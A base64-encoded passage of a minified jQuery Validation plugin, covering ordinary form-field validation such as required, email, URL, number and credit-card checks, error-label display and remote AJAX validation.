ZW1lbnRWYWx1ZTpmdW5jdGlvbihlKXt2YXIgZj1iKGUpLmF0dHIoInR5cGUiKSxnPWIoZSkudmFsKCk7cmV0dXJuInJhZGlvIj09PWZ8fCJjaGVja2JveCI9PT1mP2IoImlucHV0W25hbWVceDNkJyIrYihlKS5hdHRyKCJuYW1lIikrIiddOmNoZWNrZWQiKS52YWwoKToic3RyaW5nIj09dHlwZW9mIGc/Zy5yZXBsYWNlKC9cci9nLA0KIiIpOmd9LGNoZWNrOmZ1bmN0aW9uKGUpe2U9dGhpcy52YWxpZGF0aW9uVGFyZ2V0Rm9yKHRoaXMuY2xlYW4oZSkpO3ZhciBmLGc9YihlKS5ydWxlcygpLGs9ITEsbT10aGlzLmVsZW1lbnRWYWx1ZShlKSxuO2ZvcihuIGluIGcpe3ZhciB3PXttZXRob2Q6bixwYXJhbWV0ZXJzOmdbbl19O3RyeXtpZihmPWIudmFsaWRhdG9yLm1ldGhvZHNbbl0uY2FsbCh0aGlzLG0sZSx3LnBhcmFtZXRlcnMpLCJkZXBlbmRlbmN5LW1pc21hdGNoIj09PWYpaz0hMDtlbHNle2lmKGs9ITEsInBlbmRpbmciPT09ZilyZXR1cm4gdGhpcy50b0hpZGU9dGhpcy50b0hpZGUubm90KHRoaXMuZXJyb3JzRm9yKGUpKSx2b2lkIDA7aWYoIWYpcmV0dXJuIHRoaXMuZm9ybWF0QW5kQWRkKGUsdyksITF9fWNhdGNoKHope3Rocm93IHRoaXMuc2V0dGluZ3MuZGVidWcmJndpbmRvdy5jb25zb2xlJiZjb25zb2xlLmxvZygiRXhjZXB0aW9uIG9jY3VycmVkIHdoZW4gY2hlY2tpbmcgZWxlbWVudCAiK2UuaWQrIiwgY2hlY2sgdGhlICciKw0Kdy5tZXRob2QrIicgbWV0aG9kLiIseiksejt9fXJldHVybiBrP3ZvaWQgMDoodGhpcy5vYmplY3RMZW5ndGgoZykmJnRoaXMuc3VjY2Vzc0xpc3QucHVzaChlKSwhMCl9LGN1c3RvbURhdGFNZXNzYWdlOmZ1bmN0aW9uKGUsZil7cmV0dXJuIGIoZSkuZGF0YSgibXNnLSIrZi50b0xvd2VyQ2FzZSgpKXx8ZS5hdHRyaWJ1dGVzJiZiKGUpLmF0dHIoImRhdGEtbXNnLSIrZi50b0xvd2VyQ2FzZSgpKX0sY3VzdG9tTWVzc2FnZTpmdW5jdGlvbihiLGYpe3ZhciBnPXRoaXMuc2V0dGluZ3MubWVzc2FnZXNbYl07cmV0dXJuIGcmJihnLmNvbnN0cnVjdG9yPT09U3RyaW5nP2c6Z1tmXSl9LGZpbmREZWZpbmVkOmZ1bmN0aW9uKCl7Zm9yKHZhciBiPTA7YXJndW1lbnRzLmxlbmd0aD5iO2IrKylpZih2b2lkIDAhPT1hcmd1bWVudHNbYl0pcmV0dXJuIGFyZ3VtZW50c1tiXX0sZGVmYXVsdE1lc3NhZ2U6ZnVuY3Rpb24oZSxmKXtyZXR1cm4gdGhpcy5maW5kRGVmaW5lZCh0aGlzLmN1c3RvbU1lc3NhZ2UoZS5uYW1lLA0KZiksdGhpcy5jdXN0b21EYXRhTWVzc2FnZShlLGYpLCF0aGlzLnNldHRpbmdzLmlnbm9yZVRpdGxlJiZlLnRpdGxlfHx2b2lkIDAsYi52YWxpZGF0b3IubWVzc2FnZXNbZl0sIlx4M2NzdHJvbmdceDNlV2FybmluZzogTm8gbWVzc2FnZSBkZWZpbmVkIGZvciAiK2UubmFtZSsiXHgzYy9zdHJvbmdceDNlIil9LGZvcm1hdEFuZEFkZDpmdW5jdGlvbihlLGYpe3ZhciBnPXRoaXMuZGVmYXVsdE1lc3NhZ2UoZSxmLm1ldGhvZCksaz0vXCQ/XHsoXGQrKVx9L2c7ImZ1bmN0aW9uIj09dHlwZW9mIGc/Zz1nLmNhbGwodGhpcyxmLnBhcmFtZXRlcnMsZSk6ay50ZXN0KGcpJiYoZz1iLnZhbGlkYXRvci5mb3JtYXQoZy5yZXBsYWNlKGssInskMX0iKSxmLnBhcmFtZXRlcnMpKTt0aGlzLmVycm9yTGlzdC5wdXNoKHttZXNzYWdlOmcsZWxlbWVudDplfSk7dGhpcy5lcnJvck1hcFtlLm5hbWVdPWc7dGhpcy5zdWJtaXR0ZWRbZS5uYW1lXT1nfSxhZGRXcmFwcGVyOmZ1bmN0aW9uKGIpe3JldHVybiB0aGlzLnNldHRpbmdzLndyYXBwZXImJg0KKGI9Yi5hZGQoYi5wYXJlbnQodGhpcy5zZXR0aW5ncy53cmFwcGVyKSkpLGJ9LGRlZmF1bHRTaG93RXJyb3JzOmZ1bmN0aW9uKCl7dmFyIGIsZjtmb3IoYj0wO3RoaXMuZXJyb3JMaXN0W2JdO2IrKylmPXRoaXMuZXJyb3JMaXN0W2JdLHRoaXMuc2V0dGluZ3MuaGlnaGxpZ2h0JiZ0aGlzLnNldHRpbmdzLmhpZ2hsaWdodC5jYWxsKHRoaXMsZi5lbGVtZW50LHRoaXMuc2V0dGluZ3MuZXJyb3JDbGFzcyx0aGlzLnNldHRpbmdzLnZhbGlkQ2xhc3MpLHRoaXMuc2hvd0xhYmVsKGYuZWxlbWVudCxmLm1lc3NhZ2UpO2lmKHRoaXMuZXJyb3JMaXN0Lmxlbmd0aCYmKHRoaXMudG9TaG93PXRoaXMudG9TaG93LmFkZCh0aGlzLmNvbnRhaW5lcnMpKSx0aGlzLnNldHRpbmdzLnN1Y2Nlc3MpZm9yKGI9MDt0aGlzLnN1Y2Nlc3NMaXN0W2JdO2IrKyl0aGlzLnNob3dMYWJlbCh0aGlzLnN1Y2Nlc3NMaXN0W2JdKTtpZih0aGlzLnNldHRpbmdzLnVuaGlnaGxpZ2h0KXtiPTA7Zm9yKGY9dGhpcy52YWxpZEVsZW1lbnRzKCk7ZltiXTtiKyspdGhpcy5zZXR0aW5ncy51bmhpZ2hsaWdodC5jYWxsKHRoaXMsDQpmW2JdLHRoaXMuc2V0dGluZ3MuZXJyb3JDbGFzcyx0aGlzLnNldHRpbmdzLnZhbGlkQ2xhc3MpfXRoaXMudG9IaWRlPXRoaXMudG9IaWRlLm5vdCh0aGlzLnRvU2hvdyk7dGhpcy5oaWRlRXJyb3JzKCk7dGhpcy5hZGRXcmFwcGVyKHRoaXMudG9TaG93KS5zaG93KCl9LHZhbGlkRWxlbWVudHM6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5jdXJyZW50RWxlbWVudHMubm90KHRoaXMuaW52YWxpZEVsZW1lbnRzKCkpfSxpbnZhbGlkRWxlbWVudHM6ZnVuY3Rpb24oKXtyZXR1cm4gYih0aGlzLmVycm9yTGlzdCkubWFwKGZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZWxlbWVudH0pfSxzaG93TGFiZWw6ZnVuY3Rpb24oZSxmKXt2YXIgZz10aGlzLmVycm9yc0ZvcihlKTtnLmxlbmd0aD8oZy5yZW1vdmVDbGFzcyh0aGlzLnNldHRpbmdzLnZhbGlkQ2xhc3MpLmFkZENsYXNzKHRoaXMuc2V0dGluZ3MuZXJyb3JDbGFzcyksZy5odG1sKGYpKTooZz1iKCJceDNjIit0aGlzLnNldHRpbmdzLmVycm9yRWxlbWVudCsNCiJceDNlIikuYXR0cigiZm9yIix0aGlzLmlkT3JOYW1lKGUpKS5hZGRDbGFzcyh0aGlzLnNldHRpbmdzLmVycm9yQ2xhc3MpLmh0bWwoZnx8IiIpLHRoaXMuc2V0dGluZ3Mud3JhcHBlciYmKGc9Zy5oaWRlKCkuc2hvdygpLndyYXAoIlx4M2MiK3RoaXMuc2V0dGluZ3Mud3JhcHBlcisiL1x4M2UiKS5wYXJlbnQoKSksdGhpcy5sYWJlbENvbnRhaW5lci5hcHBlbmQoZykubGVuZ3RofHwodGhpcy5zZXR0aW5ncy5lcnJvclBsYWNlbWVudD90aGlzLnNldHRpbmdzLmVycm9yUGxhY2VtZW50KGcsYihlKSk6Zy5pbnNlcnRBZnRlcihlKSkpOyFmJiZ0aGlzLnNldHRpbmdzLnN1Y2Nlc3MmJihnLnRleHQoIiIpLCJzdHJpbmciPT10eXBlb2YgdGhpcy5zZXR0aW5ncy5zdWNjZXNzP2cuYWRkQ2xhc3ModGhpcy5zZXR0aW5ncy5zdWNjZXNzKTp0aGlzLnNldHRpbmdzLnN1Y2Nlc3MoZyxlKSk7dGhpcy50b1Nob3c9dGhpcy50b1Nob3cuYWRkKGcpfSxlcnJvcnNGb3I6ZnVuY3Rpb24oZSl7dmFyIGY9DQp0aGlzLmlkT3JOYW1lKGUpO3JldHVybiB0aGlzLmVycm9ycygpLmZpbHRlcihmdW5jdGlvbigpe3JldHVybiBiKHRoaXMpLmF0dHIoImZvciIpPT09Zn0pfSxpZE9yTmFtZTpmdW5jdGlvbihiKXtyZXR1cm4gdGhpcy5ncm91cHNbYi5uYW1lXXx8KHRoaXMuY2hlY2thYmxlKGIpP2IubmFtZTpiLmlkfHxiLm5hbWUpfSx2YWxpZGF0aW9uVGFyZ2V0Rm9yOmZ1bmN0aW9uKGIpe3JldHVybiB0aGlzLmNoZWNrYWJsZShiKSYmKGI9dGhpcy5maW5kQnlOYW1lKGIubmFtZSkubm90KHRoaXMuc2V0dGluZ3MuaWdub3JlKVswXSksYn0sY2hlY2thYmxlOmZ1bmN0aW9uKGIpe3JldHVybi9yYWRpb3xjaGVja2JveC9pLnRlc3QoYi50eXBlKX0sZmluZEJ5TmFtZTpmdW5jdGlvbihlKXtyZXR1cm4gYih0aGlzLmN1cnJlbnRGb3JtKS5maW5kKCJbbmFtZVx4M2QnIitlKyInXSIpfSxnZXRMZW5ndGg6ZnVuY3Rpb24oZSxmKXtzd2l0Y2goZi5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpKXtjYXNlICJzZWxlY3QiOnJldHVybiBiKCJvcHRpb246c2VsZWN0ZWQiLA0KZikubGVuZ3RoO2Nhc2UgImlucHV0IjppZih0aGlzLmNoZWNrYWJsZShmKSlyZXR1cm4gdGhpcy5maW5kQnlOYW1lKGYubmFtZSkuZmlsdGVyKCI6Y2hlY2tlZCIpLmxlbmd0aH1yZXR1cm4gZS5sZW5ndGh9LGRlcGVuZDpmdW5jdGlvbihiLGYpe3JldHVybiB0aGlzLmRlcGVuZFR5cGVzW3R5cGVvZiBiXT90aGlzLmRlcGVuZFR5cGVzW3R5cGVvZiBiXShiLGYpOiEwfSxkZXBlbmRUeXBlczp7ImJvb2xlYW4iOmZ1bmN0aW9uKGIpe3JldHVybiBifSxzdHJpbmc6ZnVuY3Rpb24oZSxmKXtyZXR1cm4hIWIoZSxmLmZvcm0pLmxlbmd0aH0sImZ1bmN0aW9uIjpmdW5jdGlvbihiLGYpe3JldHVybiBiKGYpfX0sb3B0aW9uYWw6ZnVuY3Rpb24oZSl7dmFyIGY9dGhpcy5lbGVtZW50VmFsdWUoZSk7cmV0dXJuIWIudmFsaWRhdG9yLm1ldGhvZHMucmVxdWlyZWQuY2FsbCh0aGlzLGYsZSkmJiJkZXBlbmRlbmN5LW1pc21hdGNoIn0sc3RhcnRSZXF1ZXN0OmZ1bmN0aW9uKGIpe3RoaXMucGVuZGluZ1tiLm5hbWVdfHwNCih0aGlzLnBlbmRpbmdSZXF1ZXN0KyssdGhpcy5wZW5kaW5nW2IubmFtZV09ITApfSxzdG9wUmVxdWVzdDpmdW5jdGlvbihlLGYpe3RoaXMucGVuZGluZ1JlcXVlc3QtLTswPnRoaXMucGVuZGluZ1JlcXVlc3QmJih0aGlzLnBlbmRpbmdSZXF1ZXN0PTApO2RlbGV0ZSB0aGlzLnBlbmRpbmdbZS5uYW1lXTtmJiYwPT09dGhpcy5wZW5kaW5nUmVxdWVzdCYmdGhpcy5mb3JtU3VibWl0dGVkJiZ0aGlzLmZvcm0oKT8oYih0aGlzLmN1cnJlbnRGb3JtKS5zdWJtaXQoKSx0aGlzLmZvcm1TdWJtaXR0ZWQ9ITEpOiFmJiYwPT09dGhpcy5wZW5kaW5nUmVxdWVzdCYmdGhpcy5mb3JtU3VibWl0dGVkJiYoYih0aGlzLmN1cnJlbnRGb3JtKS50cmlnZ2VySGFuZGxlcigiaW52YWxpZC1mb3JtIixbdGhpc10pLHRoaXMuZm9ybVN1Ym1pdHRlZD0hMSl9LHByZXZpb3VzVmFsdWU6ZnVuY3Rpb24oZSl7cmV0dXJuIGIuZGF0YShlLCJwcmV2aW91c1ZhbHVlIil8fGIuZGF0YShlLCJwcmV2aW91c1ZhbHVlIiwNCntvbGQ6bnVsbCx2YWxpZDohMCxtZXNzYWdlOnRoaXMuZGVmYXVsdE1lc3NhZ2UoZSwicmVtb3RlIil9KX19LGNsYXNzUnVsZVNldHRpbmdzOntyZXF1aXJlZDp7cmVxdWlyZWQ6ITB9LGVtYWlsOntlbWFpbDohMH0sdXJsOnt1cmw6ITB9LGRhdGU6e2RhdGU6ITB9LGRhdGVJU086e2RhdGVJU086ITB9LG51bWJlcjp7bnVtYmVyOiEwfSxkaWdpdHM6e2RpZ2l0czohMH0sY3JlZGl0Y2FyZDp7Y3JlZGl0Y2FyZDohMH19LGFkZENsYXNzUnVsZXM6ZnVuY3Rpb24oZSxmKXtlLmNvbnN0cnVjdG9yPT09U3RyaW5nP3RoaXMuY2xhc3NSdWxlU2V0dGluZ3NbZV09ZjpiLmV4dGVuZCh0aGlzLmNsYXNzUnVsZVNldHRpbmdzLGUpfSxjbGFzc1J1bGVzOmZ1bmN0aW9uKGUpe3ZhciBmPXt9O2U9YihlKS5hdHRyKCJjbGFzcyIpO3JldHVybiBlJiZiLmVhY2goZS5zcGxpdCgiICIpLGZ1bmN0aW9uKCl7dGhpcyBpbiBiLnZhbGlkYXRvci5jbGFzc1J1bGVTZXR0aW5ncyYmYi5leHRlbmQoZixiLnZhbGlkYXRvci5jbGFzc1J1bGVTZXR0aW5nc1t0aGlzXSl9KSwNCmZ9LGF0dHJpYnV0ZVJ1bGVzOmZ1bmN0aW9uKGUpe3ZhciBmPXt9O2U9YihlKTt2YXIgZz1lWzBdLmdldEF0dHJpYnV0ZSgidHlwZSIpLGs7Zm9yKGsgaW4gYi52YWxpZGF0b3IubWV0aG9kcyl7dmFyIG07InJlcXVpcmVkIj09PWs/KG09ZS5nZXQoMCkuZ2V0QXR0cmlidXRlKGspLCIiPT09bSYmKG09ITApLG09ISFtKTptPWUuYXR0cihrKTsvbWlufG1heC8udGVzdChrKSYmKG51bGw9PT1nfHwvbnVtYmVyfHJhbmdlfHRleHQvLnRlc3QoZykpJiYobT1OdW1iZXIobSkpO20/ZltrXT1tOmc9PT1rJiYicmFuZ2UiIT09ZyYmKGZba109ITApfXJldHVybiBmLm1heGxlbmd0aCYmLy0xfDIxNDc0ODM2NDd8NTI0Mjg4Ly50ZXN0KGYubWF4bGVuZ3RoKSYmZGVsZXRlIGYubWF4bGVuZ3RoLGZ9LGRhdGFSdWxlczpmdW5jdGlvbihlKXt2YXIgZixnPXt9LGs9YihlKTtmb3IoZiBpbiBiLnZhbGlkYXRvci5tZXRob2RzKWU9ay5kYXRhKCJydWxlLSIrZi50b0xvd2VyQ2FzZSgpKSx2b2lkIDAhPT0NCmUmJihnW2ZdPWUpO3JldHVybiBnfSxzdGF0aWNSdWxlczpmdW5jdGlvbihlKXt2YXIgZj17fSxnPWIuZGF0YShlLmZvcm0sInZhbGlkYXRvciIpO3JldHVybiBnLnNldHRpbmdzLnJ1bGVzJiYoZj1iLnZhbGlkYXRvci5ub3JtYWxpemVSdWxlKGcuc2V0dGluZ3MucnVsZXNbZS5uYW1lXSl8fHt9KSxmfSxub3JtYWxpemVSdWxlczpmdW5jdGlvbihlLGYpe3JldHVybiBiLmVhY2goZSxmdW5jdGlvbihnLGspe2lmKCExPT09aylyZXR1cm4gZGVsZXRlIGVbZ10sdm9pZCAwO2lmKGsucGFyYW18fGsuZGVwZW5kcyl7dmFyIG09ITA7c3dpdGNoKHR5cGVvZiBrLmRlcGVuZHMpe2Nhc2UgInN0cmluZyI6bT0hIWIoay5kZXBlbmRzLGYuZm9ybSkubGVuZ3RoO2JyZWFrO2Nhc2UgImZ1bmN0aW9uIjptPWsuZGVwZW5kcy5jYWxsKGYsZil9bT9lW2ddPXZvaWQgMCE9PWsucGFyYW0/ay5wYXJhbTohMDpkZWxldGUgZVtnXX19KSxiLmVhY2goZSxmdW5jdGlvbihnLGspe2VbZ109Yi5pc0Z1bmN0aW9uKGspPw0KayhmKTprfSksYi5lYWNoKFsibWlubGVuZ3RoIiwibWF4bGVuZ3RoIl0sZnVuY3Rpb24oKXtlW3RoaXNdJiYoZVt0aGlzXT1OdW1iZXIoZVt0aGlzXSkpfSksYi5lYWNoKFsicmFuZ2VsZW5ndGgiLCJyYW5nZSJdLGZ1bmN0aW9uKCl7dmFyIGY7ZVt0aGlzXSYmKGIuaXNBcnJheShlW3RoaXNdKT9lW3RoaXNdPVtOdW1iZXIoZVt0aGlzXVswXSksTnVtYmVyKGVbdGhpc11bMV0pXToic3RyaW5nIj09dHlwZW9mIGVbdGhpc10mJihmPWVbdGhpc10uc3BsaXQoL1tccyxdKy8pLGVbdGhpc109W051bWJlcihmWzBdKSxOdW1iZXIoZlsxXSldKSl9KSxiLnZhbGlkYXRvci5hdXRvQ3JlYXRlUmFuZ2VzJiYoZS5taW4mJmUubWF4JiYoZS5yYW5nZT1bZS5taW4sZS5tYXhdLGRlbGV0ZSBlLm1pbixkZWxldGUgZS5tYXgpLGUubWlubGVuZ3RoJiZlLm1heGxlbmd0aCYmKGUucmFuZ2VsZW5ndGg9W2UubWlubGVuZ3RoLGUubWF4bGVuZ3RoXSxkZWxldGUgZS5taW5sZW5ndGgsZGVsZXRlIGUubWF4bGVuZ3RoKSksDQplfSxub3JtYWxpemVSdWxlOmZ1bmN0aW9uKGUpe2lmKCJzdHJpbmciPT10eXBlb2YgZSl7dmFyIGY9e307Yi5lYWNoKGUuc3BsaXQoL1xzLyksZnVuY3Rpb24oKXtmW3RoaXNdPSEwfSk7ZT1mfXJldHVybiBlfSxhZGRNZXRob2Q6ZnVuY3Rpb24oZSxmLGcpe2IudmFsaWRhdG9yLm1ldGhvZHNbZV09ZjtiLnZhbGlkYXRvci5tZXNzYWdlc1tlXT12b2lkIDAhPT1nP2c6Yi52YWxpZGF0b3IubWVzc2FnZXNbZV07Mz5mLmxlbmd0aCYmYi52YWxpZGF0b3IuYWRkQ2xhc3NSdWxlcyhlLGIudmFsaWRhdG9yLm5vcm1hbGl6ZVJ1bGUoZSkpfSxtZXRob2RzOntyZXF1aXJlZDpmdW5jdGlvbihlLGYsZyl7cmV0dXJuIXRoaXMuZGVwZW5kKGcsZik/ImRlcGVuZGVuY3ktbWlzbWF0Y2giOiJzZWxlY3QiPT09Zi5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpPyhlPWIoZikudmFsKCkpJiYwPGUubGVuZ3RoOnRoaXMuY2hlY2thYmxlKGYpPzA8dGhpcy5nZXRMZW5ndGgoZSxmKTowPGIudHJpbShlKS5sZW5ndGh9LA0KZW1haWw6ZnVuY3Rpb24oYixmKXtyZXR1cm4gdGhpcy5vcHRpb25hbChmKXx8L14oKChbYS16XXxcZHxbISNcJCUmJ1wqXCtcLVwvPVw/XF5fYHtcfH1+XXxbXHUwMEEwLVx1RDdGRlx1RjkwMC1cdUZEQ0ZcdUZERjAtXHVGRkVGXSkrKFwuKFthLXpdfFxkfFshI1wkJSYnXCpcK1wtXC89XD9cXl9ge1x8fX5dfFtcdTAwQTAtXHVEN0ZGXHVGOTAwLVx1RkRDRlx1RkRGMC1cdUZGRUZdKSspKil8KChceDIyKSgoKChceDIwfFx4MDkpKihceDBkXHgwYSkpPyhceDIwfFx4MDkpKyk/KChbXHgwMS1ceDA4XHgwYlx4MGNceDBlLVx4MWZceDdmXXxceDIxfFtceDIzLVx4NWJdfFtceDVkLVx4N2VdfFtcdTAwQTAtXHVEN0ZGXHVGOTAwLVx1RkRDRlx1RkRGMC1cdUZGRUZdKXwoXFwoW1x4MDEtXHgwOVx4MGJceDBjXHgwZC1ceDdmXXxbXHUwMEEwLVx1RDdGRlx1RjkwMC1cdUZEQ0ZcdUZERjAtXHVGRkVGXSkpKSkqKCgoXHgyMHxceDA5KSooXHgwZFx4MGEpKT8oXHgyMHxceDA5KSspPyhceDIyKSkpQCgoKFthLXpdfFxkfFtcdTAwQTAtXHVEN0ZGXHVGOTAwLVx1RkRDRlx1RkRGMC1cdUZGRUZdKXwoKFthLXpdfFxkfFtcdTAwQTAtXHVEN0ZGXHVGOTAwLVx1RkRDRlx1RkRGMC1cdUZGRUZdKShbYS16XXxcZHwtfFwufF98fnxbXHUwMEEwLVx1RDdGRlx1RjkwMC1cdUZEQ0ZcdUZERjAtXHVGRkVGXSkqKFthLXpdfFxkfFtcdTAwQTAtXHVEN0ZGXHVGOTAwLVx1RkRDRlx1RkRGMC1cdUZGRUZdKSkpXC4pKygoW2Etel18W1x1MDBBMC1cdUQ3RkZcdUY5MDAtXHVGRENGXHVGREYwLVx1RkZFRl0pfCgoW2Etel18W1x1MDBBMC1cdUQ3RkZcdUY5MDAtXHVGRENGXHVGREYwLVx1RkZFRl0pKFthLXpdfFxkfC18XC58X3x+fFtcdTAwQTAtXHVEN0ZGXHVGOTAwLVx1RkRDRlx1RkRGMC1cdUZGRUZdKSooW2Etel18W1x1MDBBMC1cdUQ3RkZcdUY5MDAtXHVGRENGXHVGREYwLVx1RkZFRl0pKSkkL2kudGVzdChiKX0sDQp1cmw6ZnVuY3Rpb24oYixmKXtyZXR1cm4gdGhpcy5vcHRpb25hbChmKXx8L14oaHR0cHM/fHM/ZnRwKTpcL1wvKCgoKFthLXpdfFxkfC18XC58X3x+fFtcdTAwQTAtXHVEN0ZGXHVGOTAwLVx1RkRDRlx1RkRGMC1cdUZGRUZdKXwoJVtcZGEtZl17Mn0pfFshXCQmJ1woXClcKlwrLDs9XXw6KSpAKT8oKChcZHxbMS05XVxkfDFcZFxkfDJbMC00XVxkfDI1WzAtNV0pXC4oXGR8WzEtOV1cZHwxXGRcZHwyWzAtNF1cZHwyNVswLTVdKVwuKFxkfFsxLTldXGR8MVxkXGR8MlswLTRdXGR8MjVbMC01XSlcLihcZHxbMS05XVxkfDFcZFxkfDJbMC00XVxkfDI1WzAtNV0pKXwoKChbYS16XXxcZHxbXHUwMEEwLVx1RDdGRlx1RjkwMC1cdUZEQ0ZcdUZERjAtXHVGRkVGXSl8KChbYS16XXxcZHxbXHUwMEEwLVx1RDdGRlx1RjkwMC1cdUZEQ0ZcdUZERjAtXHVGRkVGXSkoW2Etel18XGR8LXxcLnxffH58W1x1MDBBMC1cdUQ3RkZcdUY5MDAtXHVGRENGXHVGREYwLVx1RkZFRl0pKihbYS16XXxcZHxbXHUwMEEwLVx1RDdGRlx1RjkwMC1cdUZEQ0ZcdUZERjAtXHVGRkVGXSkpKVwuKSsoKFthLXpdfFtcdTAwQTAtXHVEN0ZGXHVGOTAwLVx1RkRDRlx1RkRGMC1cdUZGRUZdKXwoKFthLXpdfFtcdTAwQTAtXHVEN0ZGXHVGOTAwLVx1RkRDRlx1RkRGMC1cdUZGRUZdKShbYS16XXxcZHwtfFwufF98fnxbXHUwMEEwLVx1RDdGRlx1RjkwMC1cdUZEQ0ZcdUZERjAtXHVGRkVGXSkqKFthLXpdfFtcdTAwQTAtXHVEN0ZGXHVGOTAwLVx1RkRDRlx1RkRGMC1cdUZGRUZdKSkpXC4/KSg6XGQqKT8pKFwvKCgoW2Etel18XGR8LXxcLnxffH58W1x1MDBBMC1cdUQ3RkZcdUY5MDAtXHVGRENGXHVGREYwLVx1RkZFRl0pfCglW1xkYS1mXXsyfSl8WyFcJCYnXChcKVwqXCssOz1dfDp8QCkrKFwvKChbYS16XXxcZHwtfFwufF98fnxbXHUwMEEwLVx1RDdGRlx1RjkwMC1cdUZEQ0ZcdUZERjAtXHVGRkVGXSl8KCVbXGRhLWZdezJ9KXxbIVwkJidcKFwpXCpcKyw7PV18OnxAKSopKik/KT8oXD8oKChbYS16XXxcZHwtfFwufF98fnxbXHUwMEEwLVx1RDdGRlx1RjkwMC1cdUZEQ0ZcdUZERjAtXHVGRkVGXSl8KCVbXGRhLWZdezJ9KXxbIVwkJidcKFwpXCpcKyw7PV18OnxAKXxbXHVFMDAwLVx1RjhGRl18XC98XD8pKik/KCMoKChbYS16XXxcZHwtfFwufF98fnxbXHUwMEEwLVx1RDdGRlx1RjkwMC1cdUZEQ0ZcdUZERjAtXHVGRkVGXSl8KCVbXGRhLWZdezJ9KXxbIVwkJidcKFwpXCpcKyw7PV18OnxAKXxcL3xcPykqKT8kL2kudGVzdChiKX0sDQpkYXRlOmZ1bmN0aW9uKGIsZil7cmV0dXJuIHRoaXMub3B0aW9uYWwoZil8fCEvSW52YWxpZHxOYU4vLnRlc3QoIiIrbmV3IERhdGUoYikpfSxkYXRlSVNPOmZ1bmN0aW9uKGIsZil7cmV0dXJuIHRoaXMub3B0aW9uYWwoZil8fC9eXGR7NH1bXC9cLV1cZHsxLDJ9W1wvXC1dXGR7MSwyfSQvLnRlc3QoYil9LG51bWJlcjpmdW5jdGlvbihiLGYpe3JldHVybiB0aGlzLm9wdGlvbmFsKGYpfHwvXi0/KD86XGQrfFxkezEsM30oPzosXGR7M30pKyk/KD86XC5cZCspPyQvLnRlc3QoYil9LGRpZ2l0czpmdW5jdGlvbihiLGYpe3JldHVybiB0aGlzLm9wdGlvbmFsKGYpfHwvXlxkKyQvLnRlc3QoYil9LGNyZWRpdGNhcmQ6ZnVuY3Rpb24oYixmKXtpZih0aGlzLm9wdGlvbmFsKGYpKXJldHVybiJkZXBlbmRlbmN5LW1pc21hdGNoIjtpZigvW14wLTkgXC1dKy8udGVzdChiKSlyZXR1cm4hMTt2YXIgZz0wLGs9MCxtPSExO2I9Yi5yZXBsYWNlKC9cRC9nLCIiKTtmb3IodmFyIG49Yi5sZW5ndGgtMTswPD0NCm47bi0tKWs9Yi5jaGFyQXQobiksaz1wYXJzZUludChrLDEwKSxtJiY5PChrKj0yKSYmKGstPTkpLGcrPWssbT0hbTtyZXR1cm4gMD09PWclMTB9LG1pbmxlbmd0aDpmdW5jdGlvbihlLGYsZyl7ZT1iLmlzQXJyYXkoZSk/ZS5sZW5ndGg6dGhpcy5nZXRMZW5ndGgoYi50cmltKGUpLGYpO3JldHVybiB0aGlzLm9wdGlvbmFsKGYpfHxlPj1nfSxtYXhsZW5ndGg6ZnVuY3Rpb24oZSxmLGcpe2U9Yi5pc0FycmF5KGUpP2UubGVuZ3RoOnRoaXMuZ2V0TGVuZ3RoKGIudHJpbShlKSxmKTtyZXR1cm4gdGhpcy5vcHRpb25hbChmKXx8Zz49ZX0scmFuZ2VsZW5ndGg6ZnVuY3Rpb24oZSxmLGcpe2U9Yi5pc0FycmF5KGUpP2UubGVuZ3RoOnRoaXMuZ2V0TGVuZ3RoKGIudHJpbShlKSxmKTtyZXR1cm4gdGhpcy5vcHRpb25hbChmKXx8ZT49Z1swXSYmZ1sxXT49ZX0sbWluOmZ1bmN0aW9uKGIsZixnKXtyZXR1cm4gdGhpcy5vcHRpb25hbChmKXx8Yj49Z30sbWF4OmZ1bmN0aW9uKGIsZixnKXtyZXR1cm4gdGhpcy5vcHRpb25hbChmKXx8DQpnPj1ifSxyYW5nZTpmdW5jdGlvbihiLGYsZyl7cmV0dXJuIHRoaXMub3B0aW9uYWwoZil8fGI+PWdbMF0mJmdbMV0+PWJ9LGVxdWFsVG86ZnVuY3Rpb24oZSxmLGcpe2c9YihnKTtyZXR1cm4gdGhpcy5zZXR0aW5ncy5vbmZvY3Vzb3V0JiZnLnVuYmluZCgiLnZhbGlkYXRlLWVxdWFsVG8iKS5iaW5kKCJibHVyLnZhbGlkYXRlLWVxdWFsVG8iLGZ1bmN0aW9uKCl7YihmKS52YWxpZCgpfSksZT09PWcudmFsKCl9LHJlbW90ZTpmdW5jdGlvbihlLGYsZyl7aWYodGhpcy5vcHRpb25hbChmKSlyZXR1cm4iZGVwZW5kZW5jeS1taXNtYXRjaCI7dmFyIGs9dGhpcy5wcmV2aW91c1ZhbHVlKGYpO2lmKHRoaXMuc2V0dGluZ3MubWVzc2FnZXNbZi5uYW1lXXx8KHRoaXMuc2V0dGluZ3MubWVzc2FnZXNbZi5uYW1lXT17fSksay5vcmlnaW5hbE1lc3NhZ2U9dGhpcy5zZXR0aW5ncy5tZXNzYWdlc1tmLm5hbWVdLnJlbW90ZSx0aGlzLnNldHRpbmdzLm1lc3NhZ2VzW2YubmFtZV0ucmVtb3RlPWsubWVzc2FnZSwNCmc9InN0cmluZyI9PXR5cGVvZiBnJiZ7dXJsOmd9fHxnLGsub2xkPT09ZSlyZXR1cm4gay52YWxpZDtrLm9sZD1lO3ZhciBtPXRoaXM7dGhpcy5zdGFydFJlcXVlc3QoZik7dmFyIG49e307cmV0dXJuIG5bZi5uYW1lXT1lLGIuYWpheChiLmV4dGVuZCghMCx7dXJsOmcsbW9kZToiYWJvcnQiLHBvcnQ6InZhbGlkYXRlIitmLm5hbWUsZGF0YVR5cGU6Impzb24iLGRhdGE6bixzdWNjZXNzOmZ1bmN0aW9uKGcpe20uc2V0dGluZ3MubWVzc2FnZXNbZi5uYW1lXS5yZW1vdGU9ay5vcmlnaW5hbE1lc3NhZ2U7dmFyIG49ITA9PT1nfHwidHJ1ZSI9PT1nO2lmKG4pe3ZhciB4PW0uZm9ybVN1Ym1pdHRlZDttLnByZXBhcmVFbGVtZW50KGYpO20uZm9ybVN1Ym1pdHRlZD14O20uc3VjY2Vzc0xpc3QucHVzaChmKTtkZWxldGUgbS5pbnZhbGlkW2YubmFtZV07bS5zaG93RXJyb3JzKCl9ZWxzZSB4PXt9LGc9Z3x8bS5kZWZhdWx0TWVzc2FnZShmLCJ